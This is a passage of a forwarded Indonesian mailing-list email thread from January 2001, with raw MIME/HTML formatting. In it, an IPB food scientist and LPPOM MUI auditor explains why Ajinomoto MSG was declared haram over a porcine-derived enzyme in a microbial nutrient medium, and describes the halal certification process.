> > itu haram. Pihak produsen diberitahu dan bagusnya mereka cepat mengambil
> > tindakan yaitu memusnahkan puluhan ton meat flavor yang sudah
> diproduksi,
> > sebagian lagi diekspor ke negara nonmuslim. Dengan demikian
> selamatlah si
> > produsen tadi karena kasusnya tidak terekspos keluar. Bisa dibayangkan
> > kalau sempat terekspos yakin masyarakat akan geger karena dampaknya
> > diantaranya hampir semua produk mie instant harus ditarik, belum lagi
> > produk-produk lainnya yang menggunakan flavor tersebut.
> >
> > Jadi ... persoalan awalnya murni tidak ada unsur politik, persaingan
> > dagang, dll... Kalau sekarang terlihat kisruh, ya itulah
> Indonesia...baru
> > sampai situ taraf budaya kita. Ya kita yang intelek tentunya harus
> > bertindak, diantaranya:
> > 1. Menyumbangkan tenaga dan pemikiran kita untuk menuntaskan
> > permasalah-permasalahan umat, salah satunya yaitu produk
> bioteknologi ini,
>
> > bagaimana hukumnya.. apa saja syaratnya agar produknya menjadi halal.
> > 2. Menjaga jangan sampai ikut membingungkan masyarakat, masyarakat kita
> > masih sangat awam, kalau kita belum tahu duduk persoalannya lebih baik
> > diam dulu, sambil mencari tahu dan mencoba mencari penyelesaiannya.
> > 3. Tidak berburuk sangka karena ..sebagian dari buruk sangka adalah
> > dosa ... (Al-Quran, Al-Hujuraat ayat 12).
> >
> > Demikian penjelasan saya, mohon maaf apabila ada penjelasan dan
> kata-kata
> > saya yang salah, apabila ada yang salah mohon bagi yang mengetahui
> > kebenarannya untuk meluruskannya.
> > Wasalam,
> >
> > Anton Apriyantono
> > Staf Jurusan Teknologi Pangan dan Gizi IPB.
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> Entry and update your data at :
> http://www.egroups.com/database/e88
> <http://www.egroups.com/database/e88>
>
>
>
> ------_=_NextPart_001_01C07AE3.434DEB5E
> Content-Type: text/html;
>       charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
>
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
> <HTML>
> <HEAD>
> <META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
> charset=3DUS-ASCII">
> <META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
> 5.5.2650.12">
> <TITLE>FW: [E88] FWD: Haramnya Ajino-moto</TITLE>
> </HEAD>
> <BODY>
> <BR>
> <BR>
>
> <P><A NAME=3D"_MailData"><FONT SIZE=3D2 FACE=3D"Arial">-----Original =
> Message-----</FONT></A>
> <BR><B><FONT SIZE=3D2 FACE=3D"Arial">From:&nbsp;&nbsp; Lutfah Eko =
> Rohmani </FONT></B>
> <BR><B><FONT SIZE=3D2 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
> SIZE=3D2 FACE=3D"Arial">08 Januari 2001 11:39</FONT>
> <BR><B><FONT SIZE=3D2 =
> FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D2 =
> FACE=3D"Arial">KMS - Pusri; KMS - Pengurus Pusat</FONT>
> <BR><B><FONT SIZE=3D2 =
> FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
> </B> <FONT SIZE=3D2 FACE=3D"Arial">FW: [E88] FWD: Haramnya =
> Ajino-moto</FONT>
> </P>
>
> <P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">Mungkin informasiko =
> baguno bagi kito tantang Halal atau Haramnyo Ajinomoto.</FONT>
> </P>
>
> <P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">Wassalam,</FONT>
> </P>
>
> <P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">Devi Z.</FONT>=20
> </P>
> <BR>
>
> <P><FONT SIZE=3D2 FACE=3D"Arial">From: Harumi Cempaka</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">To: Anton-IBJ , mbak titin-david =
> ,</FONT> <A HREF=3D"mailto:[EMAIL PROTECTED]"><U><FONT =
> COLOR=3D"#0000FF" SIZE=3D2 =
> FACE=3D"Arial">[EMAIL PROTECTED]</FONT></U></A>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">CC: Mirza Adityaswara , Mas Dadit , =
> Yasmine , &quot;Basya G. Himawan&quot;</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; -----Original =
> Message-----</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; From: Dwina Septiani =
> Wijaya</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Sent: Friday, January 05, 2001 =
> 11:44 AM</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; To: Harumi Cempaka</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; -----Original =
> Message-----</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; From: Alinda Medrial</FONT> <A =
> HREF=3D"mailto:[SMTP:[EMAIL PROTECTED]]"><U><FONT =
> COLOR=3D"#0000FF" SIZE=3D2 =
> FACE=3D"Arial">[SMTP:[EMAIL PROTECTED]]</FONT></U></A>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Sent: Friday, January 05, 2001 =
> 11:28 AM</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Salam,</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Akhir-akhir ini ramai berita ttg =
> haramnya Ajinomoto. Penjelasan ilmiah</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dibawah ini semoga dapat =
> menghilangkan keragu-raguan kita.</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; =
> ------------------------------------------------------------------------=
> --</FONT>
> </P>
>
> <P><FONT SIZE=3D2 FACE=3D"Arial">&gt; =
> -----------------------------------------</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Dear Kolega IPB,</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Saya menjadi sedih mengikuti =
> pemberitaan kasus Ajinomoto dan diskusi di</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; milis ini. Beginilah Indonesia, =
> semua persoalan selalu tidak lengkap dan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; jelas pemberitaannya sehingga =
> selalu dipandang negatif dan yang paling</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; parah adalah selalu dikaitkan =
> dengan politik, padahal permasalahan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; sebenarnya cukup sederhana yaitu =
> KELALAIAN, KETIDAKTAHUAN DAN KEBANDELAN</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; (STUBBORN). Seharusnya kita =
> sebagai ilmuwan bisa lebih bijak dan teliti</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dalam menyikapi suatu persoalan, =
> cek dulu kebenaran dan duduk persoalan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; yang sebenarnya. Tetapi itulah =
> ..akibat ketidaktahuan.. sehingga</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; menimbulkan dugaan-dugaan yang =
> tidak perlu. Untuk itu perkenankan saya</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; memberikan beberapa penjelasan, =
> yang saya yakin, cukup akurat karena saya</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; cukup mengetahui persis duduk =
> persoalannya. Hal-hal yang perlu saya</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; jelaskan adalah sbb:</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; 1. Lembaga Pengkajian Pangan, =
> Obat dan Kosmetika MUI (LPPOM MUI) adalah</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; lembaga yang dibentuk oleh MUI =
> atas respons dan tanggungjawab MUI dalam</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; masalah makanan halal, dimana =
> lembaga ini dibentuk setelah terjadinya</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; kasus lemak babi yang =
> menghebohkan di tahun '80an. Pada waktu pendirian</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; lembaga ini MUI mengadakan =
> kerjasama dengan IPB yang dituangkan dalam</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; bentuk MOU, sehingga LPPOM MUI =
> memiliki kantor di IPB dan melibatkan cukup</FONT>
> </P>
>
> <P><FONT SIZE=3D2 FACE=3D"Arial">&gt; banyak staf IPB untuk menjalankan =
> tugas-tugas yang diemban. Saya terlibat</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dalam tugas-tugas LPPOM MUI =
> sejak tahun-tahun awal berdirinya yaitu</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; sebagai auditor. LPPOM MUI =
> memiliki missi membantu konsumen dan produsen</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dalam memproduksi dan =
> menyediakan pangan, obat-obatan dan kosmetika halal.</FONT>
> </P>
>
> <P><FONT SIZE=3D2 FACE=3D"Arial">&gt; Dalam masalah ini MUI bekerjasama =
> dengan Depkes dan Dep Agama, hal ini</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dituangkan dalam bentuk ikatan =
> formal (maaf saya lupa bentuk ikatannya).</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Walaupun demikian LPPOM MUI =
> bekerja atas dasar voluntir, tidak memiliki</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; kekuatan hukum, yang memiliki =
> kekuatan hukum yaitu lembaga pemerintah,</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; sedangkan LPPOM MUI adalah =
> lembaga nonpemerintah dan nonprofit. Jadi</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; pemeriksaan halal akan dilakukan =
> oleh MUI apabila ada yang meminta (bukan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; keharusan!!). Pemeriksaan awal =
> dilakukan oleh LPPOM MUI (dalam banyak</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; kasus lain bersama-sama dengan =
> auditor dari Depkes dan Depag) yang akan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; menerjunkan para auditornya =
> (kebanyakan staf IPB, untuk yang di pusat,</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; sedangkan yang di daerah, =
> seperti di Jatim banyak melibatkan juga para</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; staf pengajar baik yang dari =
> Unibraw maupun PT lainnya), yang akan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; memeriksa sistem jaminan =
> halalnya, administrasi dan manajemen, produksi</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dan bahan-bahan yang digunakan. =
> Hasil auditing kemudian dibicarakan di</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; tingkat LPPOM MUI pusat, apabila =
> masih ada yang dianggap kurang maka</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dikembalikan ke perusahaan yang =
> diaudit untuk diperbaiki. Apabila proses</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; di tingkat LPPOM MUI dianggap =
> selesai maka persoalan dibicarakan di</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; tingkat komisi fatwa MUI. Di =
> komisi fatwa MUI, apabila tidak ada hal-hal</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; khusus (persoalannnya sudah =
> jelas), maka tinggal mengesahkannya sehingga</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; keluarlah sertifikat halal. Akan =
> tetapi apabila ada hal-hal khusus</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; seperti hal-hal yang meragukan, =
> maka komisi fatwa akan bekerja lebih</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; lanjut untuk menetapkan =
> kehalalannya dari segi syariah. Jadi pada</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dasarnya untuk menetapkan =
> kehalalan ini para ilmuwan bekerjasama dengan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; ulama syariah (komisi fatwa =
> MUI). Perlu diketahui pula bahwa komisi fatwa</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; MUI terdiri dari ahli syariah =
> dari berbagai kalangan (NU, MUhamadiyah,</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Persis, dll). Perlu pula =
> diketahui bahwa biaya yang dikeluarkan oleh</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; produsen untuk sertifikasi halal =
> ini sangat rendah, LPPOM MUI hanya</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; menarik biaya antara ratusan =
> ribu sampai maks 2 juta rupiah per produk</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; (tergantung pada besar kecilnya =
> perusahaan), biaya ini terendah di dunia</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; untuk suatu sertifikat halal. =
> Bayangkan kami sebagai auditor tidak</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; memiliki gaji, yang ada hanya =
> uang jalan yang besarnya Rp. 100.000 per</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; hari jika melakukan auditing, =
> ada juga uang rapat auditor, tapi juga</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; sangat kecil. Jadi saya yakin =
> LPPOM MUI adalah benar-benar lembaga</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; nonprofit.</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; 2. Dalam masalah Ajinomoto ini, =
> sebetulnya memang benar yang</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dipersoalkan adalah porcine =
> (enzim dari babi) yang digunakan dalam salah</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; satu rangkaian produksinya, =
> tepatnya adalah salah satu nutrient media</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; untuk pertumbuhan mikroba (perlu =
> dicatat disini adalah nutrient ini</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; diproduksi oleh perusahaan lain, =
> bukan oleh Ajinomoto). Disini</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; permasalahannya berbeda dengan =
> kotoran babi yang digunakan untuk pupuk</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; tanaman (jangan lupa dari segi =
> memanfaatkan kotoran babi, ini adalah</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; kegiatan haram, menurut saya, =
> karena memanfaatkan produk babi yang haram,</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; segala kegiatan yang berkaitan =
> dengan pemanfaatan babi dan khamr serta</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; turunannya dilarang) karena =
> kotoran tersebut terpisah dengan buah, juga</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; tidak sama dengan ikan yang =
> makan kotoran manusia karena ikannya bisa</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dipuasakan. Pada proses-proses =
> bioteknologi yang melibatkan mikroba,</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; semua media (mengandung nutrien =
> untuk pertumbuhan mikroba) bercampur</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dengan mikroba dan produk yang =
> dihasilkan. Pada waktu membuat starter,</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; jika salah satu nutriennya =
> mengandung komponen turunan babi maka starter</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; tersebut akan bercampur dengan =
> komponen tersebut. Starter yang didalamnya</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; terikut komponen haram ini =
> kemudian digunakan untuk memproduksi MSG. MSG</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; yang diperoleh kemudian =
> dipisahkan dan dimurnikan. Dari sini kita bisa</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; memahami jika komisi fatwa MUI =
> memutuskan bahwa produk MSG dengan cara ini</FONT>
> </P>
>
> <P><FONT SIZE=3D2 FACE=3D"Arial">&gt; haram karena logikanya =
> dianalogikan dengan pembuatan whey dari air susu</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dengan menggunakan porcine =
> (enzim dari babi), whey yang dihasilkan haram.</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Keharamannya menurut saya karena =
> dua hal yaitu karena bercampur (walaupun</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; sesudahnya dipisahkan) dan =
> karena memanfaatkan bahan yang berasal dari</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; babi untuk pembuatan bahan =
> pangan (pemanfaatan ini ada yang membolehkan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; apabila digunakan bukan untuk =
> konsumsi, dalam hal ini bersifat khilafiyah,</FONT>
> </P>
>
> <P><FONT SIZE=3D2 FACE=3D"Arial">&gt; tetapi kalau untuk konsumsi =
> setahu saya semua sepakat untuk</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; mengharamkannya). Terus terang =
> kami di LPPOM MUI juga terjadi perdebatan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; seru mengenai ini, tetapi =
> akhirnya persoalan dibawa ke komisi fatwa MUI</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dan diputuskan disana. =
> Sebetulnya fatwa MUI ini juga sejalan dengan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; pendapat moslem scholar dari =
> IFANCA (organisasi sertifikasi halal terbesar</FONT>
> </P>
>
> <P><FONT SIZE=3D2 FACE=3D"Arial">&gt; di USA) yaitu Dr. Muhammad Munir =
> Chaudry, yaitu produk bioteknologi akan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; halal apabila dalam rangkaian =
> produksinya menggunakan bahan-bahan yang</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; halal, termasuk media dan =
> nutrien mikrobanya. Ternyata untuk Kosher</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; (makanan halal untuk Yahudi) =
> menerapkan peraturan yang sama. Silahkan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; baca Chaudry, M. M., Regenstein, =
> J. M., 1994. Implications of</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; biotechnology and genetic =
> engeneering for kosher and halal foods. Trends</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; in Food Sci. Technol, 5, =
> 165-168.</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; 3. Sebetulnya dua tahun yang =
> lalu MSG yang diproduksi oleh Ajinomoto</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Indonesia telah dinyatakan halal =
> dan telah mendapatkan sertifikat halal</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dari MUI. Dengan dasar =
> sertifikat halal MUI itulah Ajinomoto Indonesia</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dapat mengajukan pencantuman =
> label halal ke Ditjen POM Depkes (yang</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; berwenang dalam masalah =
> perlabelan produk pangan jadi adalah Depkes, bukan</FONT>
> </P>
>
> <P><FONT SIZE=3D2 FACE=3D"Arial">&gt; MUI). Masalahnya, pada 6 bulan =
> terakhir ini pihak Ajinomoto merubah salah</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; satu ingredien yang digunakan =
> untuk produksi dengan ingredien yang</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; bermasalah tanpa melaporkannya =
> ke LPPOM MUI. Dalam perjanjian yang</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; ditandatangani oleh pihak =
> Ajinomoto, apabila terjadi perubahan maka harus</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; melaporkan ke LPPOM MUI sebagai =
> yang memeriksa kehalalannya untuk</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dievaluasi terus kehalalannya. =
> Seandainya prosedur tsb dijalankan maka</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; apa yang terjadi sekarang =
> seharusnya tidak terjadi karena tentu saja LPPOM</FONT>
> </P>
>
> <P><FONT SIZE=3D2 FACE=3D"Arial">&gt; MUI akan mengevaluasi dulu =
> kehalalannya sebelum produksi dilangsungkan dan</FONT>
> </P>
>
> <P><FONT SIZE=3D2 FACE=3D"Arial">&gt; dipasarkan. Jadi peyebabnya =
> masalah ini yang pertama adalah ..KELALAIAN..</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; pihak Ajinomoto.</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; 4. Sebetulnya pihak Ajinomoto =
> juga beberapa bulan yang lalu pernah</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; menanyakan secara pribadi ke =
> saya tentang masalah ini, pada waktu itu saya</FONT>
> </P>
>
> <P><FONT SIZE=3D2 FACE=3D"Arial">&gt; jawab produknya tidak halal =
> karena alasan-alasan yang saya kemukakan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; diatas, tetapi mereka rupanya =
> belum percaya. Pada waktu diaudit oleh</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; auditor LPPOM MUI permasalahan =
> ini juga sudah dikemukakan dan produknya</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; diragukan, akan tetapi =
> kelihatannya pihak Ajinomoto belum bisa menerima</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; sehingga persoalannya dibawa ke =
> komisi fatwa. Seandainya saja pada waktu</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; itu Ajinomoto mau merubah, =
> mungkin persoalannya tidak akan mencuat seperti</FONT>
> </P>
>
> <P><FONT SIZE=3D2 FACE=3D"Arial">&gt; sekarang. Jadi inilah yang saya =
> katakan penyebab masalah ini adalah</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; ...KETIDAKTAHUAN DAN =
> STUBBORN....</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; 5. Kasus pemusnahan produk =
> akibat menggunakan ingredien haram</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; sebetulnya bukan yang pertama =
> kali terjadi. Kasus ini terjadi di industri</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; flavor yang memproduksi berbagai =
> jenis flavorings untuk bahan pangan.</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Kebetulan salah satu auditor =
> LPPOM MUI yang terlibat adalah saya sendiri.</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Salah satu produk flavor yaitu =
> yang termasuk savoury/meat flavour (yang</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; digunakan diantaranya untuk mie =
> instant) salah satu ingredien yang dipakai</FONT>
> </P>
>
> <P><FONT SIZE=3D2 FACE=3D"Arial">&gt; untuk pembuatannya yaitu sistein. =
> Ternyata sistein ini dibuat atau</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; diperoleh dari rambut manusia. =
> Menurut kami (LPPOM MUI) sistein ini tidak</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; boleh digunakan, komisi fatwa =
> MUI kemudian menegaskannya bahwa ya barang</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; itu haram. Pihak produsen =
> diberitahu dan bagusnya mereka cepat mengambil</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; tindakan yaitu memusnahkan =
> puluhan ton meat flavor yang sudah diproduksi,</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; sebagian lagi diekspor ke negara =
> nonmuslim. Dengan demikian selamatlah si</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; produsen tadi karena kasusnya =
> tidak terekspos keluar. Bisa dibayangkan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; kalau sempat terekspos yakin =
> masyarakat akan geger karena dampaknya</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; diantaranya hampir semua produk =
> mie instant harus ditarik, belum lagi</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; produk-produk lainnya yang =
> menggunakan flavor tersebut.</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Jadi ... persoalan awalnya murni =
> tidak ada unsur politik, persaingan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dagang, dll... Kalau sekarang =
> terlihat kisruh, ya itulah Indonesia...baru</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; sampai situ taraf budaya kita. =
> Ya kita yang intelek tentunya harus</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; bertindak, diantaranya:</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; 1. Menyumbangkan tenaga dan =
> pemikiran kita untuk menuntaskan</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; permasalah-permasalahan umat, =
> salah satunya yaitu produk bioteknologi ini,</FONT>
> </P>
>
> <P><FONT SIZE=3D2 FACE=3D"Arial">&gt; bagaimana hukumnya.. apa saja =
> syaratnya agar produknya menjadi halal.</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; 2. Menjaga jangan sampai ikut =
> membingungkan masyarakat, masyarakat kita</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; masih sangat awam, kalau kita =
> belum tahu duduk persoalannya lebih baik</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; diam dulu, sambil mencari tahu =
> dan mencoba mencari penyelesaiannya.</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; 3. Tidak berburuk sangka karena =
> ..sebagian dari buruk sangka adalah</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; dosa ... (Al-Quran, Al-Hujuraat =
> ayat 12).</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Demikian penjelasan saya, mohon =
> maaf apabila ada penjelasan dan kata-kata</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; saya yang salah, apabila ada =
> yang salah mohon bagi yang mengetahui</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; kebenarannya untuk =
> meluruskannya.</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Wasalam,</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Anton Apriyantono</FONT>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Staf Jurusan Teknologi Pangan =
> dan Gizi IPB.</FONT>
> </P>
>
> <P><FONT SIZE=3D2 =
> FACE=3D"Arial">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</FONT>=
>
> <BR><FONT SIZE=3D2 FACE=3D"Arial">Entry and update your data at : =
> </FONT>
> <BR><A HREF=3D"http://www.egroups.com/database/e88"><U><FONT =
> COLOR=3D"#0000FF" SIZE=3D2 =
> FACE=3D"Arial">http://www.egroups.com/database/e88</FONT></U></A><FONT =
> SIZE=3D2 FACE=3D"Arial"> </FONT>
> </P>
>
> <P>
> </P>
>
> </BODY>
> </HTML>
> ------_=_NextPart_001_01C07AE3.434DEB5E--
> =======================================================
>
> From: "Darul Makmur" <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 16:52:20 +0700
> Subject: [RantauNet]  Ajinomoto
> Reply-To: [EMAIL PROTECTED]
>
> FYI...............
> Ini ada info mengenai ajinomoto
> Semoga bermanfaat........
>
> Salam,
> Akhir-akhir ini ramai berita ttg haramnya Ajinomoto.
> Penjelasan ilmiah dibawah ini semoga dapat menghilangkan
> keragu-raguan kita.
